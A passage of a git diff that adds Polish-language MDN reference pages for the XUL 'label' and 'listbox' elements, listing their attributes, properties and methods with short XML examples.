+<h3 id="Klasy_styl.C3.B3w" name="Klasy_styl.C3.B3w"> Klasy stylów </h3>
+<p>Następujące klasy możemy zastosować do nadania stylu temu elementowi. Należy korzystać z tych klas zamiast nadawać styl bezpośrednio w danym elemencie - dzięki temu będą bardziej pasować do motywu wybranego przez użytkownika.
+</p><p></p><dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/header">header</a></code></dt>
+ <dd>
+ Klasę stosujemy do nagłówków. Zazwyczaj będzie powodować, że tekst ukaże się pogrubiony.</dd>
+</dl>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/indent">indent</a></code></dt>
+ <dd>
+ Klasa ta powoduje wcięcie z lewej strony tekstu.</dd>
+</dl>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/monospace">monospace</a></code></dt>
+ <dd>
+ Klasa powoduje, że tekst będzie wyświetlany w czcionce o stałej szerokości znaków.</dd>
+</dl>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/plain">plain</a></code></dt>
+ <dd>
+ Ta klasa sprawia, że element będzie wyświetlony bez obramowania lub marginesu.</dd>
+</dl>
+<dl><dt> <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/small-margin">small-margin</a></code>
+</dt><dd> Ta klasa powoduje wyświetlenie tekstu z małym marginesem.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/text-link">text-link</a></code>
+</dt><dd> Etykiety o tej klasie mogą być aktywne (focus), a funkcja obsługi zdarzenia kliknięcia zostanie wywołana zarówno dla kliknięcia myszą, jak i wciśnięcia klawisza Enter.
+</dd></dl>
+<p><br>
+</p>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/description" title="description">description</a></code>
+</dd></dl>
+<dl><dt> Atrybuty
+</dt><dd> <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>
+</dd></dl>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>, <a href="pl/NsIDOMXULLabelElement">nsIDOMXULLabelElement</a>
+</dd></dl>
+<h3 id="Notatki" name="Notatki"> Notatki </h3>
+<p>Należy pamiętać, że, inaczej niż w języku HTML, element <code>label</code> posiada atrybut "value", natomiast przyciski i pola wyboru używają <code>label="foo"</code> jako atrybutu. </p>
+<pre>&lt;label label="Przycisk"/&gt; &lt;-- Źle --&gt;
+&lt;label value="Przycisk"/&gt;
+
+&lt;label value="Kliknij w przycisk"/&gt;
+&lt;button label="Przycisk"/&gt;
+&lt;checkbox label="Decyzja" value="1"/&gt;
+</pre>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/listbox/index.html b/files/pl/mozilla/tech/xul/listbox/index.html
new file mode 100644
index 0000000000..7520964ca1
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/listbox/index.html
@@ -0,0 +1,413 @@
+---
+title: listbox
+slug: Mozilla/Tech/XUL/listbox
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/listbox
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Ten element jest stosowany do tworzenia listy pozycji, na której można zaznaczyć jedną lub wiele pozycji. Lista taka może zawierać wiele kolumn. Istnieje szereg metod pozwalających na modyfikowanie i dostęp do elementów zawartych w <code>listbox</code>.
+</p><p>Można określić liczbę wierszy do wyświetlenia w liście za pomocą atrybutu <code id="a-rows"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/rows">rows</a></code>. Jeśli wierszy jest więcej, niż to określono w tym atrybucie, listę będzie można przewinąć przy pomocy paska przewijania. Wszystkie wiersze w liście mają tę samą wysokość – jest to wysokość największego wiersza z listy. Element <code>listbox</code> powinien zawierać elementy <code><a href="/pl/docs/Mozilla/Tech/XUL/listitem" title="listitem">listitem</a></code>, każdy z nich wyświetla etykietę tekstową. Aby utworzyć listę z zawartością inną niż tekst, należy skorzystać z elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/richlistbox" title="richlistbox">richlistbox</a></code>.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Kontrolki_list">kursie XUL</a>, można także przejrzeć <a class="external" href="http://lxr.mozilla.org/mozilla/source/toolkit/content/widgets/listbox.xml">źródła w LXR</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-disabled">disabled</a>, <a href="#a-disableKeyNavigation">disableKeyNavigation</a>, <a href="#a-preference">preference</a>, <a href="#a-rows">rows</a>, <a href="#a-seltype">seltype</a>, <a href="#a-suppressonselect">suppressonselect</a>, <a href="#a-tabindex">tabindex</a>, <a href="#a-value">value</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-accessible">accessible</a>, <a href="#p-disabled">disabled</a>, <a href="#p-disableKeyNavigation">disableKeyNavigation</a>, <a href="#p-selectedCount">selectedCount</a>, <a href="#p-selectedIndex">selectedIndex</a>, <a href="#p-selectedItem">selectedItem</a>, <a href="#p-selectedItems">selectedItems</a>, <a href="#p-selType">selType</a>, <a href="#p-tabIndex">tabIndex</a>
+</dd></dl>
+<dl><dt> Metody
+</dt><dd> <a href="#m-addItemToSelection">addItemToSelection</a>, <a href="#m-appendItem">appendItem</a>, <a href="#m-clearSelection">clearSelection</a>, <a href="#m-ensureElementIsVisible">ensureElementIsVisible</a>, <a href="#m-ensureIndexIsVisible">ensureIndexIsVisible</a>, <a href="#m-getIndexOfFirstVisibleRow">getIndexOfFirstVisibleRow</a>, <a href="#m-getIndexOfItem">getIndexOfItem</a>, <a href="#m-getItemAtIndex">getItemAtIndex</a>, <a href="#m-getNextItem">getNextItem</a>, <a href="#m-getNumberofVisibleRows">getNumberofVisibleRows</a>, <a href="#m-getPreviousItem">getPreviousItem</a>, <a href="#m-getRowCount">getRowCount</a>, <a href="#m-getSelectedItem">getSelectedItem</a>, <a href="#m-insertItemAt">insertItemAt</a>, <a href="#m-invertSelection">invertSelection</a>, <a href="#m-removeItemAt">removeItemAt</a>, <a href="#m-scrollToIndex">scrollToIndex</a>, <a href="#m-selectAll">selectAll</a>, <a href="#m-selectItem">selectItem</a>, <a href="#m-selectItemRange">selectItemRange</a>, <a href="#m-timedSelect">timedSelect</a>, <a href="#m-toggleItemSelection">toggleItemSelection</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<div class="float-right"><img alt="grafika:XUL_ref_listbox.png"></div>
+<pre> &lt;listbox id="theList"&gt;
+ &lt;listitem label="Ruby"/&gt;
+ &lt;listitem label="Emerald"/&gt;
+ &lt;listitem label="Sapphire" selected="true"/&gt;
+ &lt;listitem label="Diamond"/&gt;
+ &lt;/listbox&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><p></p><div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<div id="a-disableKeyNavigation">
+
+<dl><dt> <code id="a-disablekeynavigation"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disablekeynavigation">disablekeynavigation</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli atrybut ten nie jest użyty, użytkownik może przechodzić do określonych pozycji listy poprzez naciśnięcie pierwszej litery etykiety danej pozycji. Odbywa się to przyrostowo, dlatego przyciśnięcie dodatkowych klawiszy spowoduje zaznaczenie lepiej określonych pozycji. Opcja ta może zostać wyłączona poprzez ustawienie wartości atrybutu jako <code>true</code>.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-preference">
+
+<dl><dt> <code id="a-preference"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference">preference</a></code>
+</dt><dd> Typ: <i>id elementu</i>
+</dd><dd> Łączy dany element z odpowiadającym mu elementem <code><a href="/pl/docs/Mozilla/Tech/XUL/preference" title="preference">preference</a></code>. Atrybut ten ma skutek tylko wewnątrz okna <code><a href="/pl/docs/Mozilla/Tech/XUL/prefwindow" title="prefwindow">prefwindow</a></code>. Wartość opcji (z elementu <code>preference</code>) zostanie zaktualizowana zgodnie z wartością własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code> tego elementu.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-rows">
+
+<dl>
+ <dt>
+ <code id="a-rows"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/rows">rows</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Liczba wierszy do wyświetlenia w elemencie. Jeśli w elemencie znajduje się więcej niż ta liczba wierszy, pojawi się pasek przewijania, który użytkownik może zastosować do przewijania do innych wierszy. Aby pobrać aktualną liczbę wierszy w elemencie, zastosuj metodę <span id="m-getRowCount"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getRowCount">getRowCount</a></code></span>.</dd>
+</dl>
+</div>
+<div id="a-seltype">
+
+</div>
+<div id="a-suppressonselect">
+
+</div>
+<div id="a-tabindex">
+
+<dl><dt> <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Porządek dla przełączania elementów klawiszem Tab. Elementy o wyższym tabindex umieszczane są w dalszej części sekwencji przełączania.
+</dd></dl>
+
+
+</div>
+<div id="a-value">
+
+<dl>
+ <dt>
+ <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Atrybut łańcucha znaków pozwalający na współpracę wartości danych z elementem. Nie jest stosowany dla określenia jakiegoś konkretnego celu, lecz można go wykorzystać w skrypcie do własnego użytku.</dd>
+</dl>
+
+<p></p>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><p></p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-disabled">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disabled">disabled</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>.</dd>
+</dl></div>
+<div id="p-disableKeyNavigation">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disableKeyNavigation">disableKeyNavigation</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera lub ustawia wartość atrybutu <code id="a-disableKeyNavigation"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disableKeyNavigation">disableKeyNavigation</a></code>.</dd>
+</dl></div>
+<div id="p-selectedCount">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedCount">selectedCount</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Zwraca liczbę pozycji, która jest aktualnie zaznaczona.</dd>
+</dl></div>
+<div id="p-selectedIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedIndex">selectedIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Zwraca indeks aktualnie zaznaczonej pozycji. Można zaznaczyć pozycję przypisując jej numer indeksu do własności. Przydzielając <code>-1</code> do tej własności, wszystkie pozycje zostaną odznaczone.</dd>
+</dl></div>
+<div id="p-selectedItem">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedItem">selectedItem</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element</i>
+ </dd>
+ <dd>
+ Podtrzymuje aktualnie zaznaczoną pozycję. Jeśli nie ma zaznaczonych aktualnie pozycji, to jej wartość równa będzie <code>null</code>. Możemy zaznaczyć pozycję poprzez ustawienie tej wartości. Zmiana zdarzenia będzie przesyłana do zaznaczonej pozycji, kiedy zmieniona zostanie jedna z tych własności, własność <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedIndex">selectedIndex</a></span></code> lub zmieniona będzie przez użytkownika.</dd>
+</dl></div>
+<div id="p-selectedItems">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedItems">selectedItems</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ tablica z listą pozycji</i>
+ </dd>
+ <dd>
+ Zwraca tablicę zaznaczonych pozycji na liście.</dd>
+</dl></div>
+<div id="p-selType">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selType">selType</a></span></code> &lt;magic name="\"PAGENAME\"/"&gt;&lt;/magic&gt;</dt>
+ <dt>
+  </dt>
+ <dd>
+ Type: <em>string</em></dd>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-seltype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/seltype">seltype</a></code>.</dd>
+</dl>
+<p> </p>
+<p> </p>
+
+<p></p></div>
+<div id="p-tabIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/tabIndex">tabIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238); float: right; width: 250px;">
+<tbody>
+<tr>
+<td>
+<p><strong>Dziedziczy z elementu XUL</strong><br>
+<small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span> <span id="m-getElementsByAttributeNS"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttributeNS">getElementsByAttributeNS</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br>
+<small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p>
+
+</td>
+</tr>
+</tbody>
+</table>
+<p></p><p></p><dl><dt> <span id="m-addItemToSelection"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/addItemToSelection">addItemToSelection( item )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Zaznacza daną pozycje, bez odznaczania innych pozycji aktualnie zaznaczonych.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-appendItem"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/appendItem">appendItem( label, value )</a></code></span>
+</dt><dd> Zwraca typ: <i>element</i>
+</dd><dd> Tworzy nową pozycję i dodaje ją na koniec istniejącej listy pozycji. Opcjonalnie posiada ustawioną wartość. Funkcja zwraca nowo utworzony element. </dd></dl>
+<dl><dt> <span id="m-clearSelection"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/clearSelection">clearSelection()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i> </dd><dd> Odznacza wszystkie pozycje.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-ensureElementIsVisible"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/ensureElementIsVisible">ensureElementIsVisible( element )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Jeśli określony element nie jest aktualnie widziany przez użytkownika, to wyświetlane pozycje są przewijane, do momentu, aż będzie on widoczny. Jeśli pozycja jest już widoczna, przewijanie nie będzie miało miejsca.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-ensureIndexIsVisible"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/ensureIndexIsVisible">ensureIndexIsVisible( index )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Jeśli pozycja w określonym indeksie nie jest aktualnie widoczna, to użytkownik wyświetla tą pozycję poprzez przewinięcie okna. Jeśli natomiast pozycja jest widoczna, nie będzie możliwe żadne przewijanie.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-getNumberOfVisibleRows"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getNumberOfVisibleRows">getNumberOfVisibleRows()</a></code></span>
+</dt><dd> Zwraca typ: <i>integer</i>
+</dd><dd> Zwraca liczbę wierszy, które są aktualnie widoczne dla użytkownika.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-getIndexOfItem"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getIndexOfItem">getIndexOfItem( item )</a></code></span>
+</dt><dd> Zwraca typ: <i>integer</i>
+</dd><dd> Zwraca od zera pozycję określonych pozycji. Pozycje są numerowane zaczynając od pierwszej wyświetlanej pozycji na liście.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-getItemAtIndex"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getItemAtIndex">getItemAtIndex( index )</a></code></span>
+</dt><dd> Zwraca typ: <i>element</i>
+</dd><dd> Zwraca element, który jest o określonym indeksie.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-getNextItem"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getNextItem">getNextItem( startItem, delta )</a></code></span>
+</dt><dd> Zwraca typ: <i>element</i>
+</dd><dd> Metoda ta zwraca pozycję danej odległości (delta) po określonym <code>startItem</code> lub zwraca <code>null</code>, jeśli takiej pozycja nie istnieje. Ten przykład będzie zwracał pozycję dwa wiersze po <var>jakiejśPozycji</var>: <code>getNextItem ( someItem, 2 );</code>
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-getNumberOfVisibleRows"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getNumberOfVisibleRows">getNumberOfVisibleRows()</a></code></span>
+</dt><dd> Zwraca typ: <i>integer</i>
+</dd><dd> Zwraca liczbę wierszy, które są aktualnie widoczne dla użytkownika.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-getPreviousItem"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getPreviousItem">getPreviousItem( startItem, delta )</a></code></span>
+</dt><dd> Zwraca typ: <i>element</i>
+</dd><dd> Metoda zwraca pozycję danej odległości (delta) przed określonym <code>startItem</code> lub zwraca <code>null</code>, jeśli taka pozycja nie istnieje. Ten przykład zwróci pozycje pięć wierszy przed <var>someItem</var>: <code>getPreviousItem ( someItem, 5 );</code>
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-getRowCount"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getRowCount">getRowCount()</a></code></span>
+</dt><dd> Zwraca typ: <i>integer</i>
+</dd><dd> Zwraca ogólną liczbę wierszy w elemencie, nieważne ile wierszy jest wyświetlanych.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+<dl><dt> <span id="m-insertItemAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/insertItemAt">insertItemAt( index, label, value )</a></code></span>
+</dt><dd> Zwraca typ: <i>element</i>
+</dd><dd> Ta metoda tworzy nowy element listy i umieszcza go w określonej pozycji. Opcjonalnie można ustawić jego wartość. Nowy element jest zwracany.
+</dd></dl>
+<dl>
+ <dt>
+ <span id="m-invertSelection"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/invertSelection">invertSelection()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Odwraca status wszystkich zaznaczonych pozycji. Pozycja zaznaczona staje się odznaczona oraz odznaczona pozycja staje się zaznaczoną.</dd>
+</dl>
+<dl><dt> <span id="m-removeItemAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeItemAt">removeItemAt( index )</a></code></span>
+</dt><dd> Zwraca typ: <i>element</i>
+</dd><dd> Usuwa pozycję potomną w elemencie o określonym indeksie. Metoda zwraca usuniętą pozycję.
+</dd></dl>
+<dl>
+ <dt>
+ <span id="m-scrollToIndex"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/scrollToIndex">scrollToIndex( index )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Przewija element do określonego indeksu. Jest inne niż <span id="m-ensureIndexIsVisible"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/ensureIndexIsVisible">ensureIndexIsVisible</a></code></span>, ponieważ widok jest zawsze przewijany.</dd>
+</dl>
+<dl>
+ <dt>
+ <span id="m-selectAll"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/selectAll">selectAll()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Zaznacza wszystkie pozycje. Zdarzenie zaznaczenia jest wysyłane po tym, jak zostanie zrobione zaznaczenie.</dd>
+</dl>
+<dl>
+ <dt>
+ <span id="m-selectItem"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/selectItem">selectItem( item )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Odznacza wszystkie aktualnie zaznaczone pozycje i zaznacza daną pozycję. Zdarzenie zaznaczenia jest wysyłane po wykonaniu zaznaczenia.</dd>
+</dl>
+<dl>
+ <dt><span id="m-selectItemRange"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/selectItemRange">selectItemRange( startItem, endItem)</a></code></span></dt>
+ <dd>Zwraca typ:<em>nie zwraca wartości</em></dd>
+ <dd>Zaznaczone pozycje pomiędzy dwoma danymi pozycjami jako argumenty. Wszystkie inne pozycje są odznaczone. Ta metoda does nothing for single-selection list boxes. A select event is sent after the selection is made.</dd>
+</dl>
+<dl>
+ <dt>
+ <span id="m-timedSelect"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/timedSelect">timedSelect( item, timeout )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Zaznacza pozycję określoną przez argument po danej liczbie milisekund argumentu czasu przerwy. Wszystkie inne pozycje są odznaczone.</dd>
+</dl>
+<dl>
+ <dt>
+ <span id="m-toggleItemSelection"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/toggleItemSelection">toggleItemSelection( item )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Jeśli określona pozycja jest zaznaczona, to jest odznaczana. Jeśli nie jest zaznaczona, to jest zaznaczana. Inne pozycje na liście pudełka, które są zaznaczone <b>are not affected, and retain their selected state.</b></dd>
+</dl>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
